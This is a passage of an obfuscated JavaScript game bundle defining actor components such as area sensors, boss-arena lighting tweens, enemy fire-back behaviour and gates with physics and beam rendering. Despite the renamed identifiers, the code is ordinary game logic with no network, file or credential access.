(_0xb26745, _0xb37519, _0x5df8cb) => { 'use strict'; Object['defineProperty'](_0xb37519, '__esModule', { 'value': !0x0 }), _0xb37519['AreaSensorInteractionComponent'] = void 0x0; const _0x1f108a = _0x5df8cb(0x2414), _0x573d21 = _0x5df8cb(0x17b3), _0x30a499 = _0x5df8cb(0x13a9), _0x3a401d = _0x5df8cb(0x1832), _0x2fbff0 = _0x5df8cb(0x1fe7), _0x2c10b5 = _0x5df8cb(0x221b), _0xdf6dae = { 'interactionText': '{interaction}\x20Interact', 'interactionTextRenderOffset': { 'x': 0x0, 'y': -0xaf } }; var _0x263963; !function (_0x3e1a3f) { _0x3e1a3f['RANGE'] = 'RANGE', _0x3e1a3f['ACTION'] = 'ACTION', _0x3e1a3f['ACTIVE'] = 'ACTIVE'; }(_0x263963 || (_0x263963 = {})); class _0x187099 extends _0x1f108a['ActorComponent']{ constructor(_0x110af9) { super(_0x110af9); } ['postInit']() { this['setupInteraction'](), this['sceneMessageBus']['subscribe'](this, 'performAvailableInteraction', _0x379811 => this['maybeActivateInteraction'](_0x379811, _0x263963['ACTION'])), this['sceneMessageBus']['subscribe'](this, 'enteredInteractionRange', _0x4fc4ae => this['maybeActivateInteraction'](_0x4fc4ae, _0x263963['RANGE'])), this['sceneMessageBus']['subscribe'](this, 'updateInteractionState', _0x2ceb3d => this['onUpdateInteractionState'](_0x2ceb3d)); } ['registerPlayerActionInteraction']() { const _0x4fd0c8 = { 'interactionId': this['gameContext']['idProvider']['get'](_0x2c10b5['EProviderContext']['MAIN']), 'interactableActor': this['actor'], 'interactingActor': this['gameContext']['queryActors'](_0x3a401d['EActorTag']['PLAYER'])[0x0], 'interactionDistance': this['config']['activationRadius'], 'interactionText': (0x0, _0x30a499['assembleText'])(this['config']['interactionText'] || _0xdf6dae['interactionText'], this['gameContext']['getFromGameStore']('settings')), 'interactionRenderOffset': this['config']['interactionTextRenderOffset'] ?? _0xdf6dae['interactionTextRenderOffset'], 'requiresLineOfSightCheck': !0x0, 'requiresGrounded': !0x0, 'interactionType': _0x263963['ACTION'], 'interactionExitedRangeSound': this['createSoundConfig'](this['config']['interactionExitSound']), 'interactionEnteredRangeSound': this['createSoundConfig'](this['config']['interactionEnterSound']), 'interactionDestroyedSound': this['createSoundConfig'](this['config']['interactionActivationSound']) }; this['sceneMessageBus']['publish']('registerInteraction', _0x4fd0c8); } ['registerRangeInteraction'](_0x2ade28) { const _0x2ca9a9 = _0x2ade28 === _0x263963['RANGE'] ? { 'interactionExitSound': this['createSoundConfig'](this['config']['interactionExitSound']), 'interactionEnterSound': this['createSoundConfig'](this['config']['interactionEnterSound']) } : {}, _0x18d1bd = { 'interactionId': this['gameContext']['idProvider']['get'](_0x2c10b5['EProviderContext']['MAIN']), 'interactableActor': this['actor'], 'interactingActor': this['gameContext']['queryActors'](_0x3a401d['EActorTag']['PLAYER'])[0x0], 'interactionDistance': this['config']['activationRadius'], 'interactionType': _0x2ade28, ..._0x2ca9a9 }; this['sceneMessageBus']['publish']('registerInteraction', _0x18d1bd); } ['maybeActivateInteraction'](_0xc23008, _0x3ee92a) { if (_0xc23008['interactableActor'] !== this['actor']) return; if (this['store']['get']('areaSensorState') === _0x573d21['EAreaSensorState']['ACTIVATED']) return; _0x3ee92a === _0xc23008['interactionType'] && (this['store']['update']('areaSensorState', _0x573d21['EAreaSensorState']['ACTIVATED']), this['sendRequests'](), this['sceneMessageBus']['publish']('unregisterInteractionByInteractableActor', this['actor']), this['config']['sendRequestOnce'] || this['registerRangeInteraction'](_0x263963['ACTIVE'])); } ['onUpdateInteractionState'](_0x308b21) { const _0x4b90cc = _0x308b21['config']; _0x308b21['state'] === _0x2fbff0['EInteractionState']['OUT_OF_RANGE'] && _0x4b90cc['interactableActor'] === this['actor'] && this['store']['get']('areaSensorState') === _0x573d21['EAreaSensorState']['ACTIVATED'] && _0x4b90cc['interactionType'] === _0x263963['ACTIVE'] && (this['store']['update']('areaSensorState', _0x573d21['EAreaSensorState']['INACTIVE']), this['sceneMessageBus']['publish']('unregisterInteractionByInteractableActor', this['actor']), this['setupInteraction']()); } ['sendRequests']() { this['gameContext']['timeProvider']['delayAction'](() => { const _0x55e707 = this['config']['gameMessageBusRequest']['split'](',')['map'](_0x1e7203 => _0x1e7203['trim']()); _0x55e707?.['forEach'](_0x5e4d06 => { this['gameMessageBus']['publish'](_0x5e4d06); }); const _0x1a7147 = this['config']['sceneMessageBusRequest']?.['split'](',')['map'](_0x4f5cad => _0x4f5cad['trim']()); _0x1a7147?.['forEach'](_0x45c608 => { this['sceneMessageBus']['publish'](_0x45c608); }), (this['config']['spawnEventName'] || this['config']['blocksNextWave']) && this['sceneMessageBus']['publish']('areaSensorWaveMessage', this['actor']); }); } ['setupInteraction']() { this['config']['requiresInteractionForActivation'] ? this['registerPlayerActionInteraction']() : this['registerRangeInteraction'](_0x263963['RANGE']); } ['createSoundConfig'](_0x4fe545) { if (_0x4fe545) return { 'name': _0x4fe545, 'position': this['store']['get']('renderPosition'), 'groupName': this['actor']['id'] }; } } _0xb37519['AreaSensorInteractionComponent'] = _0x187099; }, 0x17b3: (_0x13436c, _0x379116) => { 'use strict'; var _0x4bb09f; Object['defineProperty'](_0x379116, '__esModule', { 'value': !0x0 }), _0x379116['areaSensorModel'] = _0x379116['EAreaSensorState'] = void 0x0, function (_0x46584f) { _0x46584f['INACTIVE'] = 'INACTIVE', _0x46584f['ACTIVATED'] = 'ACTIVATED'; }(_0x4bb09f = _0x379116['EAreaSensorState'] || (_0x379116['EAreaSensorState'] = {})), _0x379116['areaSensorModel'] = { 'areaSensorState': _0x4bb09f['INACTIVE'] }; }, 0xa7a: (_0x20a325, _0x2e6da7, _0x4a59d8) => { 'use strict'; Object['defineProperty'](_0x2e6da7, '__esModule', { 'value': !0x0 }), _0x2e6da7['Boss1AmbientLightComponent'] = void 0x0; const _0x111e98 = _0x4a59d8(0x2414), _0x1d0375 = _0x4a59d8(0x1b39); class _0xe796ff extends _0x111e98['ActorComponent']{ ['init']() { this['sceneMessageBus']['subscribe'](this, 'bossState', _0x570e65 => this['onBossStateChange'](_0x570e65)); } ['postInit']() { } ['onBossStateChange'](_0x5b333f) { switch (_0x5b333f) { case 'SETUP': this['onSetup'](); break; case 'TRANSITION_TO_PHASE_2': this['onTransitionToPhase2'](); break; case 'TRANSITION_TO_PHASE_2_COMPLETE': this['onTransitionToPhase2Complete'](); break; case 'DYING': this['onDying'](); } } ['onSetup']() { const _0x31a06a = this['scene']['tweens']['addCounter']({ 'from': 0x0, 'to': 0x1, 'duration': 0x1388, 'ease': 'Linear', 'onUpdate': _0x4c0dfa => { const _0x455bed = (0x0, _0x1d0375['mixHexColors'])(0x444444, 0xaaaacc, _0x4c0dfa['getValue']()); this['sceneMessageBus']['publish']('requestLightChange', { 'namedId': 'bossArenaLight', 'color': _0x455bed }), this['scene']['lights']['setAmbientColor'](_0x455bed); }, 'onComplete': () => { this['scene']['tweens']['remove'](_0x31a06a); } }); } ['onTransitionToPhase2']() { const _0x464c72 = this['scene']['tweens']['addCounter']({ 'from': 0x0, 'to': 0x1, 'duration': 0x1f4, 'ease': 'Bounce.easeOut', 'onUpdate': _0x1b78b3 => { const _0x2e0a58 = (0x0, _0x1d0375['mixHexColors'])(0xaaaacc, 0x444444, _0x1b78b3['getValue']()); this['scene']['lights']['setAmbientColor'](_0x2e0a58), this['sceneMessageBus']['publish']('requestLightChange', { 'namedId': 'bossArenaLight', 'color': _0x2e0a58 }); }, 'onComplete': () => { this['scene']['tweens']['remove'](_0x464c72); } }); } ['onTransitionToPhase2Complete']() { const _0x450b76 = this['scene']['tweens']['addCounter']({ 'from': 0x0, 'to': 0x1, 'duration': 0x1f4, 'ease': 'Linear', 'onUpdate': _0xe9b5b => { const _0x41834a = (0x0, _0x1d0375['mixHexColors'])(0x444444, 0xff5555, _0xe9b5b['getValue']()); this['scene']['lights']['setAmbientColor'](_0x41834a), this['sceneMessageBus']['publish']('requestLightChange', { 'namedId': 'bossArenaLight', 'color': _0x41834a }); }, 'onComplete': () => { this['scene']['tweens']['remove'](_0x450b76); } }); } ['onDying']() { const _0x2aa9a2 = this['scene']['tweens']['addCounter']({ 'from': 0x0, 'to': 0x1, 'duration': 0x1f4, 'ease': 'Bounce.easeOut', 'onUpdate': _0x3a954a => { const _0x4b9581 = (0x0, _0x1d0375['mixHexColors'])(0xff7755, 0x444444, _0x3a954a['getValue']()); this['scene']['lights']['setAmbientColor'](_0x4b9581), this['sceneMessageBus']['publish']('requestLightChange', { 'namedId': 'bossArenaLight', 'color': _0x4b9581 }); }, 'onComplete': () => { this['scene']['tweens']['remove'](_0x2aa9a2); } }); } } _0x2e6da7['Boss1AmbientLightComponent'] = _0xe796ff; }, 0x85: function (_0x10a94d, _0x1a70f6, _0x38bdf9) { 'use strict'; var _0x2453a6 = this && this['__createBinding'] || (Object['create'] ? function (_0x11ac66, _0x424095, _0x5280b9, _0xdbf722) { void 0x0 === _0xdbf722 && (_0xdbf722 = _0x5280b9); var _0x487d9b = Object['getOwnPropertyDescriptor'](_0x424095, _0x5280b9); _0x487d9b && !('get' in _0x487d9b ? !_0x424095['__esModule'] : _0x487d9b['writable'] || _0x487d9b['configurable']) || (_0x487d9b = { 'enumerable': !0x0, 'get': function () { return _0x424095[_0x5280b9]; } }), Object['defineProperty'](_0x11ac66, _0xdbf722, _0x487d9b); } : function (_0x5ac3da, _0x374026, _0x27360b, _0x33b52d) { void 0x0 === _0x33b52d && (_0x33b52d = _0x27360b), _0x5ac3da[_0x33b52d] = _0x374026[_0x27360b]; }), _0x258643 = this && this['__setModuleDefault'] || (Object['create'] ? function (_0x2e7f28, _0x16aa13) { Object['defineProperty'](_0x2e7f28, 'default', { 'enumerable': !0x0, 'value': _0x16aa13 }); } : function (_0x4f8a4a, _0x3a0db6) { _0x4f8a4a['default'] = _0x3a0db6; }), _0x9c8ce9 = this && this['__importStar'] || function (_0x4a9013) { if (_0x4a9013 && _0x4a9013['__esModule']) return _0x4a9013; var _0x2f7f59 = {}; if (null != _0x4a9013) { for (var _0x4f0276 in _0x4a9013) 'default' !== _0x4f0276 && Object['prototype']['hasOwnProperty']['call'](_0x4a9013, _0x4f0276) && _0x2453a6(_0x2f7f59, _0x4a9013, _0x4f0276); } return _0x258643(_0x2f7f59, _0x4a9013), _0x2f7f59; }; Object['defineProperty'](_0x1a70f6, '__esModule', { 'value': !0x0 }), _0x1a70f6['FireBackAtPlayerComponent'] = _0x1a70f6['TFireBackAtPlayerComponentConfig'] = void 0x0; const _0x1dadc6 = _0x38bdf9(0x2414), _0x1b53e5 = _0x38bdf9(0x2f5), _0x409eec = _0x9c8ce9(_0x38bdf9(0x22f3)); _0x1a70f6['TFireBackAtPlayerComponentConfig'] = _0x409eec['type']({ 'fireResponseEnemyActorConfigPath': _0x409eec['string'], 'timeBetweenResponsesMS': _0x409eec['number'] }); class _0x33d29f extends _0x1dadc6['ActorComponent']{ constructor(_0x3e9a81) { super(_0x3e9a81); } ['lastDamageTimeMS'] = 0x0;['responseActors'] = [];['init']() { this['store']['subscribe']('hp', ({ oldValue: _0x531ef7, newValue: _0x5e2457 }) => { _0x531ef7 > _0x5e2457 && this['lastDamageTimeMS'] <= 0x0 && (this['lastDamageTimeMS'] = this['config']['timeBetweenResponsesMS'], this['fireBackAtPlayer']()); }), this['sceneMessageBus']['subscribe'](this, 'actorDestroyed', _0x1bac9a => { this['responseActors'] = this['responseActors']['filter'](_0x3f36a4 => _0x3f36a4 !== _0x1bac9a); }); } ['update'](_0x11c4bd) { this['lastDamageTimeMS'] <= 0x0 || (this['lastDamageTimeMS'] -= 0x3e8 * _0x11c4bd); } ['destroy']() { this['responseActors']['forEach'](_0x4cf7e6 => _0x4cf7e6['destroy']()); } ['fireBackAtPlayer']() { const _0x5db217 = _0x1b53e5['GAMEPLAY_ACTOR_MAP']['enemy']({ 'scene': this['scene'], 'sceneMessageBus': this['sceneMessageBus'], 'gameMessageBus': this['gameMessageBus'], 'gameContext': this['gameContext'], 'initialPosition': this['actor']['getConfig']()['initialPosition'], 'initialDirection': 0x0, 'world': this['config']['world'], 'enemyConfig': { ...this['gameContext']['getEnemyConfig'](this['config']['fireResponseEnemyActorConfigPath']) }, 'enemyConfigPath': this['config']['fireResponseEnemyActorConfigPath'], 'initialState': 'WANDERING' }); this['actor']['registerActor'](_0x5db217), this['responseActors']['push'](_0x5db217); } } _0x1a70f6['FireBackAtPlayerComponent'] = _0x33d29f; }, 0x1723: function (_0x384065, _0x57b4ed, _0x20b49c) { 'use strict'; var _0x23e7a0 = this && this['__importDefault'] || function (_0x54b089) { return _0x54b089 && _0x54b089['__esModule'] ? _0x54b089 : { 'default': _0x54b089 }; }; Object['defineProperty'](_0x57b4ed, '__esModule', { 'value': !0x0 }), _0x57b4ed['createGateActor'] = _0x57b4ed['GATE_COLLISION_GROUP'] = void 0x0; const _0x2e18a7 = _0x23e7a0(_0x20b49c(0x9a8)), _0x5f3c3e = _0x20b49c(0x25fa), _0x283a8a = _0x20b49c(0xd2e), _0x34853a = _0x20b49c(0x13e1), _0x10530f = _0x20b49c(0x942), _0x3f6b18 = _0x20b49c(0x1932), _0x16c86e = _0x20b49c(0x403), _0x1c4dcb = _0x20b49c(0x5c8), _0x1b0449 = _0x20b49c(0x1bec), _0x3f0cf2 = _0x20b49c(0x6d7), _0x16ba83 = _0x20b49c(0x2376), _0x4ff11c = _0x20b49c(0xd13), _0x286f70 = _0x20b49c(0x1832), _0x4c0a2e = _0x20b49c(0xb35), _0x16aff0 = _0x23e7a0(_0x20b49c(0x1b39)), _0x2ca664 = { ..._0x283a8a['actorModel'], ..._0x1b0449['gateModel'], ..._0x3f6b18['sensorModel'], ..._0x34853a['movementModel'] }; _0x57b4ed['GATE_COLLISION_GROUP'] = _0x4c0a2e['PhysicsConfig']['COLLISION_GROUPS']['GROUND'] << 0x10 | _0x4c0a2e['PhysicsConfig']['COLLISION_GROUPS']['ENEMY'] | _0x4c0a2e['PhysicsConfig']['COLLISION_GROUPS']['PLAYER'] | _0x4c0a2e['PhysicsConfig']['COLLISION_GROUPS']['OTHER'] | _0x4c0a2e['PhysicsConfig']['COLLISION_GROUPS']['ENEMY_PROJECTILE'] | _0x4c0a2e['PhysicsConfig']['COLLISION_GROUPS']['PLAYER_PROJECTILE'] | _0x4c0a2e['PhysicsConfig']['COLLISION_GROUPS']['PICKUP'], _0x57b4ed['createGateActor'] = function (_0x3c180f) { const _0x14394c = function (_0x352821) { const _0x189536 = 0x2 * _0x16c86e['MAP_ACTOR_TILE_SIZE_PX'] / 0x3, _0xecd77d = _0x352821['gateBodyConfig'], _0x1a705f = _0xecd77d['width'] / _0x189536, _0x4a5d06 = _0xecd77d['height'] / _0x189536, _0x21a9e5 = new _0x10530f['RigidBodyComponent']({ 'world': _0x352821['world'], 'bodyDesc': _0x2e18a7['default']['RigidBodyDesc']['fixed'](), 'collidersDesc': { 'body': _0x2e18a7['default']['ColliderDesc']['cuboid'](_0x1a705f, _0x4a5d06)['setCollisionGroups'](_0x57b4ed['GATE_COLLISION_GROUP']) }, 'position': _0x352821['initialPosition'], 'rotation': _0x352821['initialDirection'], 'useRotation': !0x0, 'controllers': [new _0x4ff11c['GateRigidBodyController']()] }); return _0x21a9e5; }(_0x3c180f), _0x4d8673 = new _0x5f3c3e['Actor']({ ..._0x3c180f, 'tags': [_0x286f70['EActorTag']['GROUND'], _0x286f70['EActorTag']['GATE']], 'name': 'Gate', 'model': _0x2ca664, 'components': [new _0x1c4dcb['GateControlComponent']({ 'gateConfig': _0x3c180f['gateConfig'] }), new _0x3f0cf2['GateRenderBeamComponent']({ ..._0x3c180f, 'beamConfig': _0x3c180f['gateBeamRenderConfig'], 'isRenderComponent': !0x0, 'controllers': [new _0x16ba83['GateRenderController']({ 'beamConfig': _0x3c180f['gateBeamRenderConfig'] })] }), _0x14394c] }), _0x2a0a99 = _0x14394c['get'](); return _0x2a0a99['setRotation'](_0x16aff0['default']['degToRad'](_0x3c180f['gateBodyConfig']['rotation']), !0x1), _0x2a0a99['userData']['customInfo'] = function (_0x39c60b) { if (!_0x39c60b['damage'] || !_0x39c60b['invulnerabilityAfterHitMS']) return; return { 'type': 'DAMAGE', 'damage': _0x39c60b['damage'], 'invulnerabilityAfterHitMS': _0x39c60b['invulnerabilityAfterHitMS'] }; }(_0x3c180f['gateConfig']), _0x4d8673; }; }, 0x5c8: (_0x45cad6, _0x3135e5, _0x412ea1) => { 'use strict'; Object['defineProperty'](_0x3135e5, '__esModule', { 'value': !0x0 }), _0x3135e5['GateControlComponent'] = void 0x0; const _0x352d54 = _0x412ea1(0x2414); class _0x4eeca0 extends _0x352d54['ActorComponent']{ constructor(_0x5d820b) { super(_0x5d820b); } ['postInit']() { this['config']['gateConfig']['opensOnDestructionOf'] && this['setupOpensOnDestructionOf'](), this['config']['gateConfig']['closesOnDestructionOf'] && this['setupClosesOnDestructionOf'](), this['config']['gateConfig']['startsClosed'] || this['messageBus']['publish']('openGate', void 0x0); const _0x4ae03c = this['config']['gateConfig']['opensOnSceneMessage'], _0x17fda8 = _0x4ae03c?.['split'](',')['map'](_0x2b65d0 => _0x2b65d0['trim']())['filter'](Boolean); _0x17fda8?.['forEach'](_0x47d1b3 => { this['sceneMessageBus']['subscribe'](this, _0x47d1b3, () => this['messageBus']['publish']('openGate', void 0x0)); }); const _0xa64479 = this['config']['gateConfig']['closesOnSceneMessage'], _0x22d72f = _0xa64479?.['split'](',')['map'](_0x554a43 => _0x554a43['trim']())['filter'](Boolean); _0x22d72f?.['forEach'](_0x369261 => { this['sceneMessageBus']['subscribe'](this, _0x369261, () => this['messageBus']['publish']('closeGate', void 0x0)); }); } ['setupOpensOnDestructionOf']() { const _0x450607 = this['config']['gateConfig']['opensOnDestructionOf']; this['store']['update']('actorNamedIdsLeftToWaitOn', this['extractNamedIds'](_0x450607 || '')), this['sceneMessageBus']['subscribe'](this, 'actorDestroyed', _0x230832 => this['maybeUpdateWaitActorState'](_0x230832)), this['store']['subscribe']('actorNamedIdsLeftToWaitOn', ({ oldValue: _0x12195a, newValue: _0x4e16a2 }) => this['maybeOpenGateOnActorDestruction'](_0x12195a, _0x4e16a2)); } ['setupClosesOnDestructionOf']() { const _0x4765b6 = this['config']['gateConfig']['closesOnDestructionOf']; this['store']['update']('actorNamedIdsLeftToWaitOn', this['extractNamedIds'](_0x4765b6 || '')), this['sceneMessageBus']['subscribe'](this, 'actorDestroyed', _0x3fca03 => this['maybeUpdateWaitActorState'](_0x3fca03)), this['store']['subscribe']('actorNamedIdsLeftToWaitOn', ({ oldValue: _0x4dcbda, newValue: _0x23363d }) => this['maybeCloseGateOnActorDestruction'](_0x4dcbda, _0x23363d)); } ['extractNamedIds'](_0x1bb166) { return _0x1bb166['split'](',')['map'](_0x1e68a9 => _0x1e68a9['trim']()); } ['maybeUpdateWaitActorState'](_0x3f1fea) { if (!_0x3f1fea['namedId']) return; const _0x2c925a = this['store']['get']('actorNamedIdsLeftToWaitOn'); _0x2c925a['includes'](_0x3f1fea['namedId']) && this['store']['update']('actorNamedIdsLeftToWaitOn', _0x2c925a['filter'](_0x1dd8d6 => _0x1dd8d6 !== _0x3f1fea['namedId'])); } ['maybeOpenGateOnActorDestruction'](_0x5d8fc5, _0x1af556) { _0x5d8fc5['length'] > 0x0 && 0x0 === _0x1af556['length'] && this['messageBus']['publish']('openGate', void 0x0); } ['maybeCloseGateOnActorDestruction'](_0x5611ba, _0x5d9bb6) { _0x5611ba['length'] > 0x0 && 0x0 === _0x5d9bb6['length'] && this['messageBus']['publish']('closeGate', void 0x0); } } _0x3135e5['GateControlComponent'] = _0x4eeca0; }, 0x1bec: (_0x132d24, _0x232478) => { 'use strict'; Object['defineProperty'](_0x232478, '__esModule', { 'value': !0x0 }), _0x232478['gateModel'] = void 0x0, _0x232478['gateModel'] = { 'actorNamedIdsLeftToWaitOn': [] }; }, 0x6d7: (_0x38e976, _0x346985, _0x111cb0) => { 'use strict'; Object['defineProperty'](_0x346985, '__esModule', { 'value': !0x0 }), _0x346985['GateRenderBeamComponent'] = void 0x0; const _0x181b37 = _0x111cb0(0x2414), _0x753b2e = _0x111cb0(0x1d35), _0xc71c0f = _0x111cb0(0x1b39), _0x51ee39 = _0x111cb0(0x18e5); class _0x43bcf3 extends _0x181b37['ActorComponent']{ ['beamRenderer'];['beamPositionData'] = { 'beamStartPosition': { 'x': 0x0, 'y': 0x0 }, 'beamEndPosition': { 'x': 0x0, 'y': 0x0 }, 'beamCenterPosition': { 'x': 0x0, 'y': 0x0 }, 'beamRotation': 0x0, 'beamLength': 0x0 }; constructor(_0x278ca3) { super(_0x278ca3); } ['init']() { this['beamRenderer'] = this['createBeamRenderer'](); const _0x1e88da = this['actor']['getFromStore']('renderPosition'), _0x367b45 = (0x0, _0xc71c0f['degToRad'])(this['config']['gateBodyConfig']['rotation']) - Math['PI'] / 0x2, _0x264a71 = { 'x': 0x0, 'y': -this['config']['gateBodyConfig']['height'] / 0x2 }, _0x50f152 = { 'x': 0x0, 'y': this['config']['gateBodyConfig']['height'] / 0x2 }, _0xde0c92 = (0x0, _0x51ee39['add'])(_0x1e88da, (0x0, _0x51ee39['rotateVector'])(_0x264a71, _0x367b45)), _0x3cc528 = (0x0, _0x51ee39['add'])(_0x1e88da, (0x0, _0x51ee39['rotateVector'])(_0x50f152, _0x367b45)); this['beamPositionData'] = { 'beamStartPosition': _0xde0c92, 'beamEndPosition': _0x3cc528, 'beamCenterPosition': (0x0, _0xc71c0f['middlePointBetweenVectors'])(_0xde0c92, _0x3cc528), 'beamRotation': (0x0, _0xc71c0f['angleToTarget'])(_0xde0c92, _0x3cc528), 'beamLength': (0x0, _0xc71c0f['distanceBetweenVectors'])(_0xde0c92, _0x3cc528) }; } ['update'](_0x148caf) { this['beamRenderer']['update'](this['beamPositionData']); } ['destroy']() { this['beamRenderer']['destroy'](), this['beamRenderer'] = null; } ['get']() { return this['beamRenderer']; } ['createBeamRenderer']() { return new _0x753b2e['BeamRenderer']({ 'scene': this['config']['scene'], 'gameContext': this['config']['gameContext'], ...this['config']['beamConfig'] }); } } _0x346985['GateRenderBeamComponent'] = _0x43bcf3; }, 0x2376: (_0x592ed3, _0x23d109, _0x33df43) => { 'use strict'; Object['defineProperty'](_0x23d109, '__esModule', { 'value': !0x0 }), _0x23d109['GateRenderController'] = void 0x0; const _0x5ce0bf = _0x33df43(0x1520); class _0x5f44c3 extends _0x5ce0bf['ComponentController']{ constructor(_0xceea13) { super(_0xceea13); } ['init']() { this['messageBus']['subscribe'](this, 'openGate', () => this['openGate']()), this['messageBus']['subscribe'](this, 'closeGate', () => this['closeGate']()); } ['openGate']() { this['component']['get']()['tweenAlpha'](this['getGateDefaultAlpha'](), 0x0, 0x12c), this['gameContext']['timeProvider']['delayAction'](() => { this['component']['get']()['hide'](); }, 0x12c); } ['closeGate']() { this['component']['get']()['show'](), this['component']['get']()['tweenAlpha'](0x0, this['getGateDefaultAlpha'](), 0x12c); } ['getGateDefaultAlpha']() { return this['gameContext']['getAnimationConfig'](this['config']['beamConfig']['beamCoreAnimationName'])['alpha'] ?? 0x1; } } _0x23d109['GateRenderController'] = _0x5f44c3; }, 0xd13: (_0x116143, _0x1ed63f, _0x1edb1e) => { 'use strict'; Object['defineProperty'](_0x1ed63f, '__esModule', { 'value': !0x0 }), _0x1ed63f['GateRigidBodyController'] = void 0x0; const _0x1adda7 = _0x1edb1e(0x1520), _0xb28476 = _0x1edb1e(0x1723); class _0x147cd5 extends _0x1adda7['ComponentController']{ ['init']() { this['messageBus']['subscribe'](this, 'openGate', () => this['openGate']()), this['messageBus']['subscribe'](this, 'closeGate', () => this['closeGate']()); } ['openGate']() { this['component']['replaceBodyCollisionGroup'](0x0); } ['closeGate']() { this['component']['replaceBodyCollisionGroup'](_0xb28476['GATE_COLLISION_GROUP']); } } _0x1ed63f['GateRigidBodyController'] = _0x147cd5; }, 0xda6: function (_0x521326, _0x4c403f, _0x44c724) { 'use strict'; var _0x494645 = this && this['__createBinding'] || (Object['create'] ? function (_0x589d20, _0xa92135, _0x147baf, _0x30bdd4) { void 0x0 === _0x30bdd4 && (_0x30bdd4 = _0x147baf); var _0x5e375c = Object['getOwnPropertyDescriptor'](_0xa92135, _0x147baf); _0x5e375c && !('get' in _0x5e375c ? !_0xa92135['__esModule'] : _0x5e375c['writable'] || _0x5e375c['configurable']) || (_0x5e375c = { 'enumerable': !0x0, 'get': function () { return _0xa92135[_0x147baf]; } }), Object['defineProperty'](_0x589d20, _0x30bdd4, _0x5e375c); } : function (_0x311619, _0x562c89, _0x522b35, _0x4688a4) { void 0x0 === _0x4688a4 && (_0x4688a4 = _0x522b35), _0x311619[_0x4688a4] = _0x562c89[_0x522b35]; }), _0x1fce43 = this && this['__setModuleDefault'] || (Object['create'] ? function (_0x55e12f, _0x5ab8ae) { Object['defineProperty'](_0x55e12f, 'default', { 'enumerable': !0x0, 'value': _0x5ab8ae }); } : function (_0x360cfb, _0x3642ba) { _0x360cfb['default'] = _0x3642ba; }), _0x59b719 = this && this['__importStar'] || function (_0x15e2d3) { if (_0x15e2d3 && _0x15e2d3['__esModule']) return _0x15e2d3; var _0x214bc7 = {}; if (null != _0x15e2d3) { for (var _0x125473 in _0x15e2d3) 'default' !== _0x125473 && Object['prototype']['hasOwnProperty']['call'](_0x15e2d3, _0x125473) && _0x494645(_0x214bc7, _0x15e2d3, _0x125473); } return _0x1fce43(_0x214bc7, _0x15e2d3), _0x214bc7; }; Object['defineProperty'](_0x4c403f, '__esModule', { 'value': !0x0 }), _0x4c403f['createCustomComponent'] = _0x4c403f['CUSTOM_MAP_ACTOR_COMPONENT_MAP'] = _0x4c403f['TCustomComponent'] = void 0x0; const _0x1fcead = _0x44c724(0x7bf), _0x32ad1f = _0x44c724(0xa7a), _0x1e57c4 = _0x44c724(0x85), _0x33a5e8 = _0x44c724(0x1f88), _0x338388 = _0x44c724(0x12e), _0x5b76cf = _0x44c724(0xb7d), _0x141805 = _0x44c724(0x2375), _0x1d62f3 = _0x59b719(_0x44c724(0x22f3)), _0xf237af = _0x1d62f3['type']({ 'componentName': _0x1d62f3['literal']('light'), 'componentConfig': _0x1fcead['TLightRenderComponentConfig'] }), _0x3dc8ba = _0x1d62f3['type']({ 'componentName': _0x1d62f3['literal']('fireBackAtPlayer'), 'componentConfig': _0x1e57c4['TFireBackAtPlayerComponentConfig'] }), _0x243914 = _0x1d62f3['type']({ 'componentName': _0x1d62f3['literal']('registerAsObjective'), 'componentConfig': _0x141805['TRegisterAsObjectiveComponentConfig'] }), _0xe10108 = _0x1d62f3['type']({ 'componentName': _0x1d62f3['literal']('remoteSignaller'), 'componentConfig': _0x33a5e8['TRemoteSignalComponentConfig'] }), _0x2cd09c = _0x1d62f3['type']({ 'componentName': _0x1d62f3['literal']('warningAtDamage'), 'componentConfig': _0x338388['TWarningAtDamageComponentConfig'] }), _0x1ce11d = _0x1d62f3['type']({ 'componentName': _0x1d62f3['literal']('projectileGenerator'), 'componentConfig': _0x5b76cf['TProjectileGeneratorComponentConfig'] }), _0x7d0849 = _0x1d62f3['type']({ 'componentName': _0x1d62f3['literal']('boss1AmbientLightController') }); _0x4c403f['TCustomComponent'] = _0x1d62f3['union']([_0xf237af, _0x3dc8ba, _0x243914, _0xe10108, _0x2cd09c, _0x1ce11d, _0x7d0849]), _0x4c403f['CUSTOM_MAP_ACTOR_COMPONENT_MAP'] = { 'light': _0x1fcead['LightRenderComponent'], 'fireBackAtPlayer': _0x1e57c4['FireBackAtPlayerComponent'], 'registerAsObjective': _0x141805['RegisterAsObjectiveComponent'], 'remoteSignaller': _0x33a5e8['RemoteSignalComponent'], 'warningAtDamage': _0x338388['WarningAtDamageComponent'], 'projectileGenerator': _0x5b76cf['ProjectileGeneratorComponent'], 'boss1AmbientLightController': _0x32ad1f['Boss1AmbientLightComponent'] }, _0x4c403f['createCustomComponent'] = function (_0x129d8a, _0x56aa18) { switch (_0x129d8a) { case 'light': return new _0x1fcead['LightRenderComponent'](_0x56aa18); case 'fireBackAtPlayer': return new _0x1e57c4['FireBackAtPlayerComponent'](_0x56aa18); case 'registerAsObjective': return new _0x141805['RegisterAsObjectiveComponent'](_0x56aa18); case 'remoteSignaller': return new _0x33a5e8['RemoteSignalComponent'](_0x56aa18); case 'warningAtDamage': return new _0x338388['WarningAtDamageComponent'](_0x56aa18); case 'projectileGenerator': return new _0x5b76cf['ProjectileGeneratorComponent'](_0x56aa18); case 'boss1AmbientLightController': return new _0x32ad1f['Boss1AmbientLightComponent'](_0x56aa18); default: throw new Error('Component\x20' + _0x129d8a + '\x20does\x20not\x20exist'); } }; }, 0x16ba: function (_0x10517b, _0x12e111, _0x4d63ef) { 'use strict'; var _0x30c7de = this && this['__importDefault'] || function (_0x39b327) { return _0x39b327 && _0x39b327['__esModule'] ? _0x39b327 : { 'default': _0x39b327 }; }; Object['defineProperty'](_0x12e111, '__esModule', { 'value': !0x0 }), _0x12e111['createMapObjectActor'] = void 0x0; const _0x36a037 = _0x30c7de(_0x4d63ef(0x9a8)), _0x76f5ef = _0x4d63ef(0x25fa), _0x2d370b = _0x4d63ef(0xd2e), _0xef1f63 = _0x4d63ef(0x942), _0x2b22a4 = _0x4d63ef(0x1932), _0x34bf5b = _0x4d63ef(0xa0), _0x5f244f = _0x4d63ef(0x229c), _0x404f11 = _0x4d63ef(0x41), _0x47699f = _0x4d63ef(0x371), _0xdfd544 = _0x4d63ef(0x1797), _0x18290c = _0x4d63ef(0x19e9), _0x22f99f = _0x4d63ef(0x2228), _0x1dbc3f = _0x4d63ef(0xda4), _0x4ff896 = _0x4d63ef(0x403), _0x2517a2 = 